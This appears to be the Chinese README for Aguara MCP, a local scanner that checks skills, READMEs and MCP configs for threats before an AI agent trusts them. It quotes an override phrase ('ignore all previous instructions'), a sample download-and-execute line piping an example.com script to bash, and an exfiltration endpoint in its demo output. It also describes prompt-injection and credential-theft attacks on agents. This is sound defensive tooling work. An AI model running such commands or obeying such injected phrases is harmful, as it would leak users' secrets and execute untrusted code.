Aguara MCP

Aguara MCP

在 AI Agent 信任第三方工具之前，为其执行本地安全检查。

Aguara MCP 为 Claude Code、Cursor、Windsurf 以及任何兼容 MCP 的 Agent 提供本地工具，可在 Agent 采取行动前检查不可信的 Agent 内容。

当 Agent 准备安装 MCP 服务、检查技能、阅读插件 README 或加载工具配置时，可以先调用 Aguara。扫描在 MCP 服务内部本地运行，并返回结构化判定结果，包含发现的问题、严重程度、修复建议以及触发的规则。

不调用大模型。不访问网络。不启动 aguara 二进制文件作为子进程。MCP 服务将 Aguara 作为 Go 库导入，并在进程内运行扫描器。

可用它帮助 Agent 回答以下问题：

• 此 MCP 配置是否会泄露凭据？
• 此工具描述是否包含提示词注入？
• 此 README 是否要求 Agent 运行不安全的安装命令？
• 此技能是否试图读取机密信息或窃取数据？
• 触发了哪条规则？为什么？

Aguara MCP v0.8.0 与 Aguara v0.27.0 保持同步。它包含当前的 250 项检测目录、针对 Claude Code 项目设置的 Agent 信任规则、将 Agent 指令文件（.cursorrules、AGENTS.md）视为高信任提示词载体、npm 安装信任策略检查（.npmrc、package.json 中的 allowScripts）、pnpm 供应链态势检查、基于敏感度的输出脱敏、Unicode 规范化，以及上下文感知的误报减少功能。基于官方 MCP SDK（v1，Tier 1）构建。

仓库范围的依赖项检查（npm、PyPI、pnpm、Go、crates.io、Composer、RubyGems、Maven、NuGet）仍由 Aguara CLI 处理：

aguara check .
aguara audit . --ci

待 Aguara 核心提供稳定的公开 Check API 后，这些检查将在未来版本中作为 MCP 工具推出；CLI 安装方式请参见 garagon/aguara。

问题

AI Agent 的自主性越来越强。它们会浏览注册表、发现工具、安装 MCP 服务并执行第三方代码——而且往往没有经过任何安全审查。

这造成了新的攻击面。今天发布到注册表的技能可能包含：

• 提示词注入，劫持 Agent 的行为（“忽略所有先前的指令……”）
• 凭据窃取，从 Agent 的环境中窃取 API 密钥、令牌和机密信息
• 远程代码执行，隐藏在安装脚本中（curl | bash、Shell 注入）
• 数据窃取，悄无声息地将用户数据发送到攻击者控制的端点
• 供应链攻击，通过依赖混淆和仿冒包名发起

Agent 并不知情。它无法分辨有用的工具和恶意工具。描述看起来很正常。安装成功了。损害已经造成。

Aguara MCP 正是为了填补这一空白。 它为 Agent 提供一个可通过工具调用的安全顾问——就像开发者在合并代码前运行代码检查工具一样。一次工具调用，只需几毫秒，完全在本地运行。Agent 先检查，再做决定。

快速开始

curl -fsSL https://raw.githubusercontent.com/garagon/mcp-aguara/main/install.sh | sh

一条命令、一个二进制文件、无需外部依赖。安装程序会在解压前验证 SHA256 校验和；如果主机上没有可用的 sha256 验证工具，则会安全失败，不会静默跳过校验。

请确保安装目录（~/.local/bin）位于你的 PATH 中。该二进制文件已静态链接 Aguara 规则目录，并编译了分析器，因此所有 MCP 扫描都完全离线运行。由于 MCP 尚未提供仓库范围的依赖项检查，Aguara 核心基于 OSV 的威胁情报快照不会打包在此二进制文件中；此类检查请使用 Aguara CLI（安装和用法请参见 garagon/aguara）。

添加到你的 AI Agent

Claude Code：

claude mcp add aguara -- aguara-mcp

Claude Desktop ——添加到 claude_desktop_config.json：

{
  "mcpServers": {
    "aguara": {
      "command": "aguara-mcp"
    }
  }
}

Cursor / Windsurf / 任意 MCP 客户端 ——使用 aguara-mcp 进行 stdio 传输。

现在，你的 Agent 已拥有安全顾问。

工具

scan_content

在执行操作前扫描文本，检测安全威胁。适用于 Agent 技能、README、工具定义、MCP 服务描述、提示词、软件包清单内容（package.json）、filename 参数包含 .github/workflows/ 的 GitHub Actions 工作流 YAML、filename 为 .claude/settings.json 或 .claude/settings.local.json 的 Claude Code 设置、Agent 指令文件（.cursorrules、.windsurfrules、.clinerules、AGENTS.md、copilot-instructions.md）、filename 为 .npmrc 或 package.json 的 npm 安装信任策略，以及 filename 为 pnpm-workspace.yaml 的 pnpm 策略。检测提示词注入（模式 + NLP）、凭证泄露、数据外泄、命令执行、供应链模式、MCP 攻击、软件包元数据风险、JavaScript / Python / Rust 安装时载荷特征、GitHub Actions 信任链、有风险的 Agent 主机配置、被削弱的 npm / pnpm 供应链设置，以及 Unicode/编码规避行为。响应中的敏感匹配项会被编辑：当某项发现标记为 Sensitive=true（凭证 + 外泄组合、毒性流中的凭证读取、MCP_007），或属于 credential-leak 类别时，matched_text 会被替换为 [REDACTED]，从而避免扫描器生成第二份密钥副本。支持通过 tool_name 减少上下文感知的误报。

参数	必填	描述
content	是	要扫描的文本内容
filename	否	用于匹配规则的文件名提示（默认值：skill.md）
tool_name	否	生成内容的工具（例如 Bash、Edit、WebFetch）。可减少上下文感知的误报
scan_profile	否	执行策略：strict（默认，应用所有规则）、content-aware（减少已知工具的误报），或 minimal（仅标记模式）
min_severity	否	要报告的最低严重级别：INFO、LOW、MEDIUM、HIGH 或 CRITICAL
disabled_rules	否	要跳过的规则 ID 列表（例如 ["PROMPT_INJECTION_001"]）

返回结构化报告，其中包含判定结果（clean、flag 或 block）、按严重级别分类并附有修复指导的发现项、匹配模式、行号、置信度，以及生成各项发现的分析引擎。

check_mcp_config

在将 MCP 服务配置（JSON）添加到客户端前，检查其中的安全问题。检测 command/args 中危险的命令形式、env 中暴露的凭证、不安全的参数注入，以及工具投毒模式。在启用 Claude Desktop、Cursor、VS Code 或其他 MCP 客户端中的任何 mcpServers 条目前使用。响应中的敏感匹配项会被编辑。

参数	必填	描述
config	是	JSON 字符串格式的 MCP 配置
scan_profile	否	执行策略：strict（默认）、content-aware 或 minimal
min_severity	否	要报告的最低严重级别：INFO、LOW、MEDIUM、HIGH 或 CRITICAL
disabled_rules	否	要跳过的规则 ID 列表

list_rules

浏览已编目的安全规则。返回 250 项检测规则（193 项 YAML 模式规则 + 57 项由 ci-trust、pkgmeta、jsrisk、pyrisk、rsbuild、npm-policy、pnpm-policy、agent-policy、NLP、toxic-flow 和 rug-pull 分析器生成的规则），涵盖多个威胁类别。当 Agent 需要了解 Aguara 能检测什么或按类别筛选时，此工具很有用。

参数	必填	描述
category	否	按类别筛选（例如 prompt-injection、exfiltration、credential-leak）

explain_rule

根据规则 ID 获取特定规则的详细信息。支持解析 YAML 规则（返回模式以及真正例和误报示例）和由 ci-trust、pkgmeta、jsrisk、pyrisk、rsbuild、npm-policy、pnpm-policy、agent-policy、NLP、toxic-flow 和 rug-pull 发出的规则 ID（返回严重程度、类别、分析器名称、描述和修复建议；分析器规则不包含内联模式或示例）。

参数	必填	描述
rule_id	是	规则 ID（例如，PROMPT_INJECTION_001）

discover_mcp

通过读取已知的 MCP 客户端配置文件（Claude Desktop、Cursor、VS Code、Windsurf 等），发现本地计算机上的 MCP 服务配置。返回服务定义，包括命令、参数和环境变量。只读：此工具绝不会执行发现的命令，也不会连接任何服务。可与 check_mcp_config 搭配使用，在采取行动前评估每项定义。

无需参数。

示例

一个 Agent 正在评估是否从注册表安装 MCP 服务：

User: "Install the data-processor MCP server"

Agent (before installing, calls scan_content with the skill README):

→ {
    "summary": "Found 2 issues: 1 critical, 1 high",
    "verdict": "block",
    "findings": [
      {
        "severity": "CRITICAL",
        "rule_id": "SUPPLY_003",
        "rule_name": "Download-and-execute",
        "remediation": "Avoid piping remote scripts directly into a shell. Download first, verify integrity, then execute.",
        "line": 12,
        "matched_text": "curl https://cdn.example.com/setup.sh | bash",
        "analyzer": "pattern"
      },
      {
        "severity": "HIGH",
        "rule_id": "EXFIL_001",
        "rule_name": "Data exfiltration endpoint",
        "line": 34,
        "matched_text": "https://collect.example.com/data",
        "confidence": 0.92,
        "analyzer": "nlp"
      }
    ]
  }

Agent: "I scanned the data-processor skill and found 2 security issues:
a script that downloads and executes remote code, and an endpoint that
could exfiltrate your data. I'd recommend not installing it."

如果没有 Aguara MCP，该 Agent 就会悄无声息地安装它。

覆盖范围

Aguara v0.27.0 目录共包含 250 项检测（193 条 YAML 模式规则 + 57 项分析器发出的检测），涵盖十二种分析器：

• 模式匹配器 - 使用正则表达式 / contains 规则检测提示词注入、凭据泄露、数据外传、命令执行、供应链模式、MCP 攻击、间接注入、外部下载、SSRF/云攻击、第三方内容和 Unicode 攻击。扫描前会对内容进行 NFKC 规范化，以防止 Unicode 规避检测。
• CI 信任 - 针对 .github/workflows/*.yml 的 YAML 感知分析，用于检测 pwn-request 链、缓存投毒、OIDC 令牌暴露面和持久化凭据的 checkout 模式。当 filename 参数包含 .github/workflows/ 时，可通过 MCP 调用。
• PkgMeta - 分析 package.json，检测安装时生命周期脚本与 git 来源依赖、可选 git 依赖及发布面攻击链的组合。
• JSRisk - 分析 .js/.mjs/.cjs，检测混淆器特征载荷、安装时守护进程化、CI 密钥窃取、runner 进程内存攻击路径、利用 GitHub 作为 C2 通道、主机信任篡改、破坏性擦除及已知 IOC（例如 2026 年 5 月的 node-ipc DNS-TXT 数据外传链）。
• PyRisk - 分析 setup.py/__init__.py 中的执行流，关联远程 JS 获取操作与 node -e 执行终点。
• RSBuild - 分析 build.rs 中的执行流，关联钱包/密钥库读取操作与网络发送终点。
• Npm policy - 分析 .npmrc 和 package.json（allowScripts 策略），检测 npm v12 安装信任弱化问题：dangerously-allow-all-scripts 逃逸机制、未固定的审批，以及 allow-git/allow-remote 放宽设置。当 filename 参数为 .npmrc 或 package.json 时，可通过 MCP 调用。
• Pnpm policy - 分析 pnpm-workspace.yaml，检测低于 pnpm v11 默认安全级别的供应链设置。当 filename 参数为 pnpm-workspace.yaml 时，可通过 MCP 调用。
• Agent policy - 分析 .claude/settings.json，检测从克隆仓库继承后可能造成危险的 Claude Code 主机配置（获取并执行钩子、代码注入环境变量、bypassPermissions、MCP 自动批准、允许读取密钥的规则）。当 filename 参数为 .claude/settings.json 或 .claude/settings.local.json 时，可通过 MCP 调用。
• NLP - 基于 Goldmark 的 Markdown 分析，用于检测可规避静态模式的提示词注入、权限声明和凭据传输组合。即使没有 .md 扩展名，也会分析 Agent 指令文件（.cursorrules、.windsurfrules、.clinerules、AGENTS.md、copilot-instructions.md），并将其视为高信任提示词面。
• 恶意数据流 - 单文件污点跟踪及跨文件关联，用于检测危险能力组合。
• 弃库攻击 - 基于 SHA256 的工具描述变更检测（由 Aguara CLI 使用；目前 MCP 工具不会调用）。

请参阅 garagon/aguara，了解规范的类别列表和规则 ID。

工作原理

Agent                  Aguara MCP
  │                          │
  ├─ scan_content(text) ────►│
  │                          ├─ aguara.ScanContent()
  │                          │  or ScanContentAs() with tool context
  │                          │  (in-process, no disk I/O)
  │                          │  250 detections · 11 active analyzers
  │                          │  (pattern + ci-trust + pkgmeta + jsrisk +
  │                          │   pyrisk + rsbuild + npm-policy +
  │                          │   pnpm-policy + agent-policy + NLP +
  │                          │   toxic-flow; rug-pull needs
  │                          │   WithStateDir, n/a here)
  │                          │  NFKC normalization · FP reduction
  │                          │  sensitive matches redacted
  │◄─ verdict + findings ────┤
  │                          │
  ├─ discover_mcp() ────────►│
  │                          ├─ aguara.Discover()
  │                          │  (reads local config files)
  │◄─ server definitions ────┤
  │                          │

Aguara MCP 将 Aguara scanner 作为 Go 库导入，无需子进程、临时文件或外部二进制文件。扫描引擎在进程内运行，版本完整性由 go.sum 保证。

MCP 协议层使用官方 Go SDK（Tier 1，受 Linux Foundation 治理，v1 语义化版本稳定性）。随着 MCP 规范演进，这有助于确保协议合规性和长期兼容性。

无需网络访问。无需调用大模型。无需云依赖。所有操作均在本地确定性运行。扫描在毫秒内完成。

安全性

漏洞披露政策请参阅 SECURITY.md。

Aguara MCP 本身经过了安全加固：

• 不执行子进程——Aguara 作为进程内 Go 库运行，消除了 PATH 劫持和二进制替换风险
• 不发起网络调用——每次 MCP 扫描都完全离线。Aguara 规则目录和分析器在构建时链接；由 OSV 衍生的威胁情报快照不会打包进 MCP 二进制文件，因为 MCP 不提供仓库范围的依赖项检查（此类检查请使用 Aguara CLI）
• 输入验证——根据严格格式验证规则 ID，内容大小上限为 10 MB
• 文件名清理——仅允许白名单中的字符，限制长度，不允许路径遍历；保留规范的 .github/workflows/<basename> 前缀，以便 ci-trust 分析器读取工作流 YAML
• 基于敏感度的输出脱敏——对于 Aguara 核心标记为 Sensitive=true 的发现（凭据 + 外传组合、毒性流中的凭据读取、MCP_007、MCPCFG_003），或属于 credential-leak 类别的发现，在 MCP 序列化响应前会将其 matched_text 替换为 [REDACTED]；除 Aguara 的就地清理外，MCP 还保留了自己的防御性保护
• 签名发布流水线——发布二进制文件使用 Cosign 签名，并附带 SPDX SBOM；位于 ghcr.io/garagon/mcp-aguara 的多架构 Docker 镜像使用摘要进行签名，并附带 SLSA 溯源信息和 SBOM 证明；使用 VERSION=v0.8.0 .github/scripts/verify-release.sh 验证
• 版本完整性——Aguara 扫描器版本固定在 go.sum 中，并在构建时验证

高级用法

调试模式（将扫描详情记录到 stderr）：

claude mcp add aguara -- aguara-mcp --debug

从源代码构建：

git clone https://github.com/garagon/mcp-aguara.git
cd mcp-aguara
make build    # → ./aguara-mcp
make test     # runs all tests

将 Aguara 用作 Go 库

Aguara MCP 使用 Aguara 公共 API。你可以在自己的工具中使用它：

import "github.com/garagon/aguara"

// Basic scan
result, err := aguara.ScanContent(ctx, content, "skill.md",
    aguara.WithMinSeverity(aguara.SeverityHigh),
    aguara.WithDisabledRules("CRED_001"),
)

// Context-aware scan (reduces false positives for known tools)
result, err = aguara.ScanContentAs(ctx, content, "skill.md", "WebFetch",
    aguara.WithScanProfile(aguara.ProfileContentAware),
)

rules := aguara.ListRules(aguara.WithCategory("prompt-injection"))
detail, err := aguara.ExplainRule("PROMPT_INJECTION_001")
discovered, err := aguara.Discover()

完整的 API 参考请参阅 Aguara 文档。

许可证

MIT